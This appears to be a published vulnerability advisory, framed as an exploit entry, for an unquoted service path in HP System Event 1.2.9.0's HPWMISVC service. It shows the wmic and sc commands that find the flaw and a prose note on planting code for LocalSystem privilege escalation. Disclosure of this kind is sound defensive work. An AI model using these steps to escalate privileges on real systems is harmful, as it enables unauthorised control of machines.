35 lines
No EOL
1.8 KiB
Text
35 lines
No EOL
1.8 KiB
Text
# Exploit Title: HP System Event 1.2.9.0 - 'HPWMISVC' Unquoted Service Path
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# Discovery by: Roberto Piña
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# Discovery Date: 2020-02-14
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# Vendor Homepage:https://www8.hp.com/mx/es/home.html
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# Software Link:ftp://ftp.hp.com/pub/softpaq/sp70001-70500/sp70439.exe
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# HP Development Company, L.P.
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# Tested Version: 1.2.9.0
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# Vulnerability Type: Unquoted Service Path
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# Tested on OS: Windows 10 Home x64 en
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# Step to discover Unquoted Service Path:
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C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "HP" | findstr /i /v """
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HPWMISVC HPWMISVC C:\Program Files (x86)\Hewlett-Packard\HP System Event\HPWMISVC.exe Auto
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C:\>sc qc HPWMISVC
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[SC] QueryServiceConfig SUCCESS
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SERVICE_NAME: HPWMISVC
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TYPE : 110 WIN32_OWN_PROCESS (interactive)
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START_TYPE : 2 AUTO_START
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ERROR_CONTROL : 1 NORMAL
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BINARY_PATH_NAME : C:\Program Files (x86)\Hewlett-Packard\HP System Event\HPWMISVC.exe
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LOAD_ORDER_GROUP :
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TAG : 0
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DISPLAY_NAME : HPWMISVC
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DEPENDENCIES :
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SERVICE_START_NAME : LocalSystem
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C:\>
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# Exploit:
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# A successful attempt would require the local user to be able to insert their code in the system
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# root path undetected by the OS or other security applications where it could potentially be
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# executed during application startup or reboot. If successful, the local user's code would
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# execute with the elevated privileges of the application. |